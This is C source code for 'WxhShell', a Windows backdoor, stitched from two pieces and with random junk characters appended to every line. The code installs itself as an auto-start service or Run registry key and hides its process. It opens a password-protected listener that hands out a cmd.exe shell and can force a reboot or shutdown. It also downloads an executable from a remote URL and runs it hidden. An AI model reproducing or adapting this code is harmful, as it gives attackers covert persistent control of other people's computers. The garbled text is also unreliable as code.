    if(Boot(SHUTDOWN)) p.b#RY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 /*z5  
    else { H!Dj.]T  
    closesocket(wsh); _!Pi+l4p/}  
    ExitThread(0); D7m uf  
    } sH'0utD#Y  
    break; IiJ$Ng  
    }  $&1Dl  
  // 获取shell 3to!C"~\K-  
  case 's': {  wG6Oz2(  
    CmdShell(wsh); pred{HEye  
    closesocket(wsh); At !:d3  
    ExitThread(0); ,H8M.hbsQ  
    break; b80&${v  
  } /I{K_G@  
  // 退出 ?M6)O?[  
  case 'x': { f( 5; Rf(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~*]7f%L-  
    CloseIt(wsh); G9GHBwT  
    break; 06Q9X!xD  
    } W\ mgM2p  
  // 离开 0)7v _|z  
  case 'q': { 4mtO"'|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?$uEN_1O\@  
    closesocket(wsh); D,|TQ Q  
    WSACleanup(); uH,/S4?X  
    exit(1); -$_FKny  
    break; B-$zioZ  
        } ynZEJKo  
  } &9z&#`AY]>  
  }  Z'l!/l!  
>AY9 F|:  
  // 提示信息 +U%epq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >< P<k&  
} 7=Pj}x)  
  } j>l  
hJ8% r_  
  return; ~)[ pL(4  
} 2oOos%0  
IXlk1tHN4I  
// shell模块句柄 m,J IId%O  
int CmdShell(SOCKET sock) :(.:bf  
{ 9a_UxF+6/  
STARTUPINFO si; R lbJ4`a  
ZeroMemory(&si,sizeof(si)); 7i'clB9!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cIa`pU,6A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t F 7u-  
PROCESS_INFORMATION ProcessInfo; *5?Qam3  
char cmdline[]="cmd"; |T/s>OW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p$= 3$I  
  return 0; S3$C#mHX  
} Om>?"=yDE  
[*I7^h%  
// 自身启动模式 DiY74D  
int StartFromService(void) CfD4m,6  
{ FP7N^HVBG=  
typedef struct a/H5Y,b>  
{ qFLt/ >  
  DWORD ExitStatus; b$_qG6)IJO  
  DWORD PebBaseAddress; >{-rl@^H:  
  DWORD AffinityMask; 6ecx!uc$  
  DWORD BasePriority; )8'v@8;-  
  ULONG UniqueProcessId;  vILB$%I  
  ULONG InheritedFromUniqueProcessId; mwN "Cu4t  
}   PROCESS_BASIC_INFORMATION; m7Ry FnR2  
.j"heYF)  
PROCNTQSIP NtQueryInformationProcess; x\yr~$}(J  
G#@#j]8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o4@d,uIw^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iT s" RW  
:#_k`{WG  
  HANDLE             hProcess; #7]>ozKm  
  PROCESS_BASIC_INFORMATION pbi; r'_#rl  
z4` :n.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u$aN~6HG  
  if(NULL == hInst ) return 0; 6W3."};  
+lZ-xU1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Eza^Tbq%j?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AE`UnlUSF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n "^rS}Y]  
1vCp<D9<  
  if (!NtQueryInformationProcess) return 0; 0(9gTxdB  
Xc^(e?L4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;`kOFg#`)c  
  if(!hProcess) return 0; S4_ZG>\VT  
+ 65<|0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TiZ MY:^  
k`]76C7  
  CloseHandle(hProcess); Zy{hYHQ  
k6Vs#K7a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8wZ $Hq  
if(hProcess==NULL) return 0; w^n&S=E E~  
=knLkbiq7,  
HMODULE hMod; YcR: _ac  
char procName[255]; &e#pL`N  
unsigned long cbNeeded; $Fy~xMA8O  
2`ERrh^i"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N1'Yo:_A  
3,{;wJ Z  
  CloseHandle(hProcess); 3[l\l5'm8  
";jAHGbO  
if(strstr(procName,"services")) return 1; // 以服务启动 D&@ js!|5  
xdY'i0fh  
  return 0; // 注册表启动 I$)9T^Ra  
} wdV)M?  
0"+QWh  
// 主模块 QJ>=a./  
int StartWxhshell(LPSTR lpCmdLine) hp}rCy|01  
{ {!{T,_ J  
  SOCKET wsl; /X#OX 8gb]  
BOOL val=TRUE; D62'bFB^  
  int port=0; N"Y%* BkH  
  struct sockaddr_in door; 6& hiW]Adm  
7Wiwnv_"  
  if(wscfg.ws_autoins) Install(); glKPjL*  
}g%&}`%'  
port=atoi(lpCmdLine); 8^^ehaxy  
[xDIK8d:I  
if(port<=0) port=wscfg.ws_port; h"}F3E  
RC8-6s& ln  
  WSADATA data; t=p"nIE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  :J)^gc  
FT}^Fi7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %$Q!'+YW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /BF7N3  
  door.sin_family = AF_INET; VeQ [A?pER  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1hV&/Qr  
  door.sin_port = htons(port); /w2IL7}  
 x}d5 Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $[J\sokpY  
closesocket(wsl); @cm[]]f'l  
return 1; iU~d2R+  
} R_Bf JD.  
|L-- j  
  if(listen(wsl,2) == INVALID_SOCKET) { ?9 `T_,  
closesocket(wsl); a<+Rw{  
return 1; ,p\*cHB9  
} AP=SCq;  
  Wxhshell(wsl); cmaha%3d  
  WSACleanup(); qPhVc9D#  
K+yi_n L  
return 0; p{SIGpbR&  
Esg:  
} 2elj@EB,M  
{c&9}u$e  
// 以NT服务方式启动 gK dNgU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "[Tr"nI  
{ wc~9zh  
DWORD   status = 0; E!I4I'  
  DWORD   specificError = 0xfffffff; .Dr7YquW  
v yP_qG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y%YP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DAEWa Kui  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  e+@.n  
  serviceStatus.dwWin32ExitCode     = 0; 7bJM $  
  serviceStatus.dwServiceSpecificExitCode = 0; >S?7-2X  
  serviceStatus.dwCheckPoint       = 0; '64/2x  
  serviceStatus.dwWaitHint       = 0; jd 8g0^  
&N %-.&t'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2fPMZ7Zd3  
  if (hServiceStatusHandle==0) return; *\Hut'7 d  
~H]d9C  
status = GetLastError(); /`O'eH  
  if (status!=NO_ERROR) $ WWi2cI;  
{ n4ti{-^4|d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3|Ar~_]  
    serviceStatus.dwCheckPoint       = 0; =)]RD%Oq  
    serviceStatus.dwWaitHint       = 0; 91#n Aj%  
    serviceStatus.dwWin32ExitCode     = status; #e9XU:9 @g  
    serviceStatus.dwServiceSpecificExitCode = specificError; T(~^X-k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BTE&7/i 21  
    return; dsb z\w3:  
  } a<V Mh79*  
52.hJNq#L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \}Pr!tk!  
  serviceStatus.dwCheckPoint       = 0; )9!ZkZbv_m  
  serviceStatus.dwWaitHint       = 0; a$6pA@7}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E 6!V0D  
} Z \ -  
_ g"su #  
// 处理NT服务事件,比如:启动、停止 b|`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OQT i$2  
{ (fO~nN{F  
switch(fdwControl) $>%zNq-F  
{ VAa;XVmB  
case SERVICE_CONTROL_STOP: "M]`>eixL  
  serviceStatus.dwWin32ExitCode = 0; qv/chD`C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 27H4en; o=  
  serviceStatus.dwCheckPoint   = 0; HsK5 2<  
  serviceStatus.dwWaitHint     = 0; #- d-zV*  
  { %5(v'/dQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  +!wkTrV  
  }  uQW d1>  
  return; `"bp -/  
case SERVICE_CONTROL_PAUSE: a &R,jq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1+Y; "tT  
  break; .fY$$aD$4  
case SERVICE_CONTROL_CONTINUE: s|"4!{It  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $I /RN  
  break; v/wR) 9  
case SERVICE_CONTROL_INTERROGATE: 061f  
  break; I,lzyxRP  
}; An !i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NW Pd~l+  
} .GPuKP|  
@(rLn  
// 标准应用程序主函数 rX&?Xi1JeV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `P9%[8`C 9  
{ sY'dN_F  
'zTa]y]a  
// 获取操作系统版本 6IM:Xj  
OsIsNt=GetOsVer(); P99s   
GetModuleFileName(NULL,ExeFile,MAX_PATH); VH.}}RS%  
^EKf_w-v  
  // 从命令行安装 Aj=c,]2  
  if(strpbrk(lpCmdLine,"iI")) Install(); R~BW=Dz,e  
W{;LI WsZ  
  // 下载执行文件 d _koF-7  
if(wscfg.ws_downexe) { SCMZ-^b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `3F/7$q_  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9M-/{D^+<  
} sk`RaDq@;  
,u>K##X\  
if(!OsIsNt) { v y F(k3W  
// 如果时win9x,隐藏进程并且设置为注册表启动 &oiBMk`*  
HideProc(); z[_Gg8e  
StartWxhshell(lpCmdLine); O<w7PS  
} `#N7ym;s@  
else a^&3?3   
  if(StartFromService()) i'vjvc~  
  // 以服务方式启动 q]t^6m&-  
  StartServiceCtrlDispatcher(DispatchTable); !GVxQll[f  
else 1Aa=&B2  
  // 普通方式启动 Yy0m &3[  
  StartWxhshell(lpCmdLine); <8/lHQ^\)  
w+ tO@  
return 0; H=9\B}  
} %bUpVyi!(  
ZsYT&P2  
T k4"qGC.  
[p_C?hHO  
=========================================== (*YENT}  
rhvsd2 zi  
6T~xjAuJ3T  
SYTzJK@vZJ  
DnPV Tp(>  
cj/FqU"  
" nyB~C7zR  
Y~M  H  
#include <stdio.h> ]7{-HuQ8>}  
#include <string.h> n7Ia8?8-l  
#include <windows.h> RpY#_\^hI  
#include <winsock2.h> jDc5p3D&[]  
#include <winsvc.h> wD&b[i  
#include <urlmon.h> J&6]3x  
yf6&'Y{  
#pragma comment (lib, "Ws2_32.lib") T/C1x9=?  
#pragma comment (lib, "urlmon.lib") W1J7$   
V|fs"HY  
#define MAX_USER   100 // 最大客户端连接数 [HENk34  
#define BUF_SOCK   200 // sock buffer uJ$!lyJ6L  
#define KEY_BUFF   255 // 输入 buffer !xK`:[B  
n _*k e  
#define REBOOT     0   // 重启 Nm=W?i  
#define SHUTDOWN   1   // 关机 nEm+cHHo?  
vd<" G}  
#define DEF_PORT   5000 // 监听端口 Ws`P(WHm  
SLc'1{  
#define REG_LEN     16   // 注册表键长度 07+Qai-]  
#define SVC_LEN     80   // NT服务名长度 -.E<~(fad  
dGzZ_Vf  
// 从dll定义API *l^%7W rk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4<&`\<jZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qcfLA~y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _ #+~#U%5n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kq';[Yc  
s0"1W"7vh  
// wxhshell配置信息 !(Y23w*  
struct WSCFG { f"5vpU^5*  
  int ws_port;         // 监听端口 [nlW}1)46  
  char ws_passstr[REG_LEN]; // 口令 QY<2i-A  
  int ws_autoins;       // 安装标记, 1=yes 0=no X^H)2G>e  
  char ws_regname[REG_LEN]; // 注册表键名 Dl%NVi+n  
  char ws_svcname[REG_LEN]; // 服务名 Pw'3ya8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O(PG"c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u-7/4Y)c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U.G**v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;[@< ,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ui 7S8c#tH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u1&pJLK0[  
Ij}RlYQz  
};  P-QZ=dm  
]W%<<S  
// default Wxhshell configuration ?c^0%Op  
struct WSCFG wscfg={DEF_PORT, 2@aVoqrq#  
    "xuhuanlingzhe", K/jC>4/c/  
    1, sD* 8:Hl  
    "Wxhshell", LQs2!]?HT  
    "Wxhshell", 6nRD:CH)X  
            "WxhShell Service", i9oi}$;J  
    "Wrsky Windows CmdShell Service", \qqt/  
    "Please Input Your Password: ", Hay`lA2@  
  1, ?t+Kp 9@aZ  
  "http://www.wrsky.com/wxhshell.exe", ,m:YZ;J(Xd  
  "Wxhshell.exe" vd9><W  
    }; /nRi19a%xU  
eUA6X ,I  
// 消息定义模块 :d-+Z%Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ND7 gxt-B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A|8(3PiP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^l6q  
char *msg_ws_ext="\n\rExit."; ?y7x#_Exc  
char *msg_ws_end="\n\rQuit."; `2?9eXC  
char *msg_ws_boot="\n\rReboot..."; ,\f!e#d  
char *msg_ws_poff="\n\rShutdown..."; ^~2GhveBV  
char *msg_ws_down="\n\rSave to "; { CkxUec  
W@1Nit-R  
char *msg_ws_err="\n\rErr!"; ?*a:f"vQ  
char *msg_ws_ok="\n\rOK!"; @U(D&_H,K  
J]~LmSh  
char ExeFile[MAX_PATH]; 1 {dhGX  
int nUser = 0; n=n!Hn  
HANDLE handles[MAX_USER]; EOjo>w>  
int OsIsNt; k9.2*+vvg  
}}v;V*_V  
SERVICE_STATUS       serviceStatus; [|\~-6"7N|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8|`4D 'Ln  
qde.;Yv9  
// 函数声明 )G0a72  
int Install(void); iU\WV  
int Uninstall(void); %J?;@ G)r  
int DownloadFile(char *sURL, SOCKET wsh); |?SK.1pW  
int Boot(int flag); :~pPB#)nk  
void HideProc(void); m0W5Ogk  
int GetOsVer(void); 1+PLj[;jJ:  
int Wxhshell(SOCKET wsl); SqTO~zGC  
void TalkWithClient(void *cs); 37Z:WJ?  
int CmdShell(SOCKET sock); Y6/'gg'&5  
int StartFromService(void); DJ;G0*  
int StartWxhshell(LPSTR lpCmdLine); d$/BF&n  
U&|=dH]-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GM{m(Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [: X  
cTFyF)  
// 数据结构和表定义 6';'pHqe  
SERVICE_TABLE_ENTRY DispatchTable[] = T+m`a #  
{ pIk&NI  
{wscfg.ws_svcname, NTServiceMain}, UjwA06  
{NULL, NULL} }| _uqvin  
}; %< JjftNQ  
P7(+{d{  
// 自我安装 JGp~A#H&  
int Install(void) &+=A;Y)  
{ EUU9JnQhBJ  
  char svExeFile[MAX_PATH]; n3-u.Fb  
  HKEY key; PBb@J'b  
  strcpy(svExeFile,ExeFile); >n)N=Zyu  
V4}9f5FR  
// 如果是win9x系统,修改注册表设为自启动 HjV3PFg  
if(!OsIsNt) { -4o6 OkK<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .OVIQxf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nM1U=Du  
  RegCloseKey(key); BDyOX6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q 4PRc<\^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hVI $r  
  RegCloseKey(key); Y(ly0U}  
  return 0; 2:Q9g ru  
    } f7}/ {}g  
  } Z}TuVE  
} <P7f\$o~  
else { ?&ThMWl  
{e A4y~k  
// 如果是NT以上系统,安装为系统服务 SJ;u,XyWn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a1]k(AuQrC  
if (schSCManager!=0) d {a^  
{ I2(5]85&]s  
  SC_HANDLE schService = CreateService -kxNJ Gc?  
  ( qdrk.~_  
  schSCManager, 1Dg\\aUk  
  wscfg.ws_svcname, mF [w-<:.d  
  wscfg.ws_svcdisp, ScYw3i  
  SERVICE_ALL_ACCESS, f@+[-yF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G*ZHLLO4S\  
  SERVICE_AUTO_START, J{Ei+@^/9  
  SERVICE_ERROR_NORMAL, :bFmw dX  
  svExeFile, abUvU26t  
  NULL, 0#KDvCBJ  
  NULL, J5}-5sV^  
  NULL, pj G6v(zK  
  NULL, 2f16 /0J@  
  NULL 7^#f<m;Ar!  
  ); eyy{z;D8r  
  if (schService!=0) u[dR*o0'  
  { oJbD|m  
  CloseServiceHandle(schService); wIz<Y{HA=  
  CloseServiceHandle(schSCManager); .a1WwI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u{yENZ^P  
  strcat(svExeFile,wscfg.ws_svcname); [ /w{,+U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cHs@1R/-s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $R%xeih1fz  
  RegCloseKey(key); [WnX'R R  
  return 0; $&Ng*oX  
    } mHB*4L  
  } ttuQ ,SD  
  CloseServiceHandle(schSCManager); *g]q~\b/;  
} b"t95qlL  
} iXK.QktHw  
ilEWxr;,  
return 1; 3:7J@>  
} qP6]}Aj]  
:TqvL'9o  
// 自我卸载 j{SRE1tqh  
int Uninstall(void) {$)zC*l  
{ fGHYs  
  HKEY key; _?kjIF  
p<*3mbgGO  
if(!OsIsNt) { -gefdx6ES  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k`U")lv  
  RegDeleteValue(key,wscfg.ws_regname); xGCW-YR9  
  RegCloseKey(key); !*ct3{m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pw" !iG}  
  RegDeleteValue(key,wscfg.ws_regname); M.))UKSF  
  RegCloseKey(key); mufi>}  
  return 0; /Pv d[oF  
  } n]?Yv E  
} Vrz x;V%  
} eTem RNz  
else { n~l9`4wJY  
9&fS<Hk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A(2_hl-  
if (schSCManager!=0) 0]?} kY  
{ i,1=5@rw5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2W:R{dHE  
  if (schService!=0) 3 HOJCgit  
  { Gf( hN|X.  
  if(DeleteService(schService)!=0) { z %{Z  
  CloseServiceHandle(schService); e`zx#v  
  CloseServiceHandle(schSCManager); oa$-o/DhB  
  return 0; x.CUJ^_.  
  } |1wfLJ4--l  
  CloseServiceHandle(schService); je@F:5  
  } A(G%9'T  
  CloseServiceHandle(schSCManager); h3D~?Iom  
} \fIGMoy!  
} AVf'"~?  
UjxEbk5>^  
return 1; YyEW}2  
} 8+K=3=05#U  
v7&oHOk!  
// 从指定url下载文件 u :AKp<'  
int DownloadFile(char *sURL, SOCKET wsh) xDU>y  
{ lx$]f)%~  
  HRESULT hr; ivDmPHj{  
char seps[]= "/"; 8+Sa$R  
char *token; ' RK .w^  
char *file; ~sj'GEhEg  
char myURL[MAX_PATH]; `!WtKqr%B  
char myFILE[MAX_PATH]; JoeU J3N  
_L 5<  
strcpy(myURL,sURL); yW5/Y02  
  token=strtok(myURL,seps); f.8Jp<S2K  
  while(token!=NULL) mW~t/$Y$  
  { |^9+c2   
    file=token; 5Z"IM8?  
  token=strtok(NULL,seps); G<n(\85X  
  } A2>rS   
4j^-n_T  
GetCurrentDirectory(MAX_PATH,myFILE); vFKX@wV S  
strcat(myFILE, "\\"); DT *'r;  
strcat(myFILE, file); ]5| o8.  
  send(wsh,myFILE,strlen(myFILE),0); yN}upYxp  
send(wsh,"...",3,0); };;\&#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l3kYfq{";"  
  if(hr==S_OK) +Tz Z   
return 0; hbl%<ItI49  
else (1pI#H"f9  
return 1; 9D@ $Y54  
ML@-@BaN  
} 0qP&hybL[(  
rP$vZ^/c  
// 系统电源模块 RO.GD$ 3n  
int Boot(int flag) z\64Qpfm  
{ r*?rwtFtg  
  HANDLE hToken; Mx? ]7tI  
  TOKEN_PRIVILEGES tkp; y.,S}7l:  
/){F0Zjjt  
  if(OsIsNt) { ZccQ{$0H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?^y%UIzf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N6K%Wkz  
    tkp.PrivilegeCount = 1; X 'D~#r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PL vz1}ts  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FyD^\6/x  
if(flag==REBOOT) { 6G2s^P1Dl@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bz5",8Mn  
  return 0; /tIR}qK  
} ,K4*0!TXP  
else { `"~s<+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ) D_ZZPq_  
  return 0; 1$S;#9PQ  
} h M{&if  
  } ~{69&T}9  
  else { Arvxl(R\4  
if(flag==REBOOT) { 5W hR |  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "p]Fq,  
  return 0; +!_?f'kv`  
} 0u0<)gdX  
else { r=57,P(:Ca  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jvfVB'Tmr  
  return 0; ?}f+PP,  
} 2hB';Dv  
} O5}/OH|j  
gFO|)I N  
return 1; Q2^~^'Y k  
} YA(_*h  
<(|No3jx  
// win9x进程隐藏模块 }m '= _u  
void HideProc(void) 6@0 wKV!D  
{ 1X-KuGaD  
aJh=4j~.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x0t&hY>P!  
  if ( hKernel != NULL ) JtB"Dh  
  { D@]gc&JN[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VyRU_<xP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZHPsGHA  
    FreeLibrary(hKernel); TTNgnP  
  } a2:Tu  
RX]x3-  
return; G`!ff  
} _W@SCV)yH  
dU!`aPL?  
// 获取操作系统版本 3,`.$   
int GetOsVer(void) ,.# SEv5  
{ iQ[0d.(A  
  OSVERSIONINFO winfo; 9C$#A+~C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `b(y 5Z  
  GetVersionEx(&winfo); !83x,*O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 79.J`}#  
  return 1; 5f54E|vD  
  else 8mjP2  
  return 0; iU)-YFO  
} e"jA#Y #  
F~Kd5-I@  
// 客户端句柄模块 OL+!,Y  
int Wxhshell(SOCKET wsl) ^RN1?dXA  
{ 6r"PtHr  
  SOCKET wsh; *%0f^~!G<p  
  struct sockaddr_in client; A<6V$e$:2  
  DWORD myID; H>AzxhX[n  
kvU0$1  
  while(nUser<MAX_USER) ?$O5w*  
{ ":,HY)z  
  int nSize=sizeof(client); Ru%: z>Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K;2]c3T  
  if(wsh==INVALID_SOCKET) return 1; ^$][ah  
vFfvvRda4x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z=: oIAe  
if(handles[nUser]==0) d6lhA7  
  closesocket(wsh); !g? ~<`   
else -Q@jL{Ue  
  nUser++; #unE>#DW  
  } Y^)VHE]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {$iJYS\  
(xU+Y1*g"%  
  return 0; {Y5h*BD>  
} my#qmI  
 FNZB M  
// 关闭 socket _/[n/"gn  
void CloseIt(SOCKET wsh) l<<G". ?  
{ 1B3,lYBM  
closesocket(wsh); mB(*)PwZ  
nUser--; B0c}5V  
ExitThread(0); i '!M<>7  
} .?SClTqg  
}?P~qJ|1  
// 客户端请求句柄 ~L(_q]  
void TalkWithClient(void *cs) c ;3bX6RD*  
{ PN:8H>  
/p,D01Ws}(  
  SOCKET wsh=(SOCKET)cs; [5%/{W,~m  
  char pwd[SVC_LEN]; hp(n;(OR  
  char cmd[KEY_BUFF]; m[^;HwJ  
char chr[1]; =J8)Z'Jr  
int i,j; dE5DH~ldV  
*D1fSu!  
  while (nUser < MAX_USER) { z(< E %  
f{e*R#+&  
if(wscfg.ws_passstr) { 7YbI|~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q:+Y-&||"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K*J8(/WkD  
  //ZeroMemory(pwd,KEY_BUFF); rL URP2~  
      i=0; y? [*qnPj  
  while(i<SVC_LEN) { T[)) ful  
0:G@a&Lr  
  // 设置超时 1at$_\{.(  
  fd_set FdRead; gb:Cc,F,%  
  struct timeval TimeOut; K/[v>(<  
  FD_ZERO(&FdRead); 4~a0   
  FD_SET(wsh,&FdRead); Pyi PhOJe  
  TimeOut.tv_sec=8; \3q{E",\>@  
  TimeOut.tv_usec=0; f/)3b`$Wu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Pi?*rr5WZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KGUpXMd^Z  
v>3ctP {  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >ge-yK 1  
  pwd=chr[0]; 7>{edNy!,  
  if(chr[0]==0xd || chr[0]==0xa) { #},]`"n\  
  pwd=0; qn@Qd9Sf  
  break; 7kn=j6I  
  } ./<3jf :  
  i++; F dv&kK!  
    } whKr3)  
P7\(D`  
  // 如果是非法用户,关闭 socket |~H'V4)zXu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HXU"]s2Z  
} {(wV>Oc>Jw  
$!I$*R&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iy tSC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :&)RK~1m_  
B^Ql[m&5+  
while(1) { 62EJ# q[  
9r1pdG_C@  
  ZeroMemory(cmd,KEY_BUFF); E08AZOY&g  
B4R,[WE"  
      // 自动支持客户端 telnet标准   `@.YyPxX\  
  j=0; pq5)Ug  
  while(j<KEY_BUFF) { e;3$7$n Pv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lu:!vTRmw  
  cmd[j]=chr[0]; q\#3G  
  if(chr[0]==0xa || chr[0]==0xd) { @=wAk5[IN  
  cmd[j]=0; 54F([w  
  break; 8zj09T[  
  } B_5q}Bp<  
  j++; Wr)% C  
    } >mF`XbS  
8KWT d  
  // 下载文件 |[34<tIN  
  if(strstr(cmd,"http://")) { C,PCU<q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rl5}W\&  
  if(DownloadFile(cmd,wsh)) M/V >25`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +G/~v`Bv  
  else 3"[ KXzn  
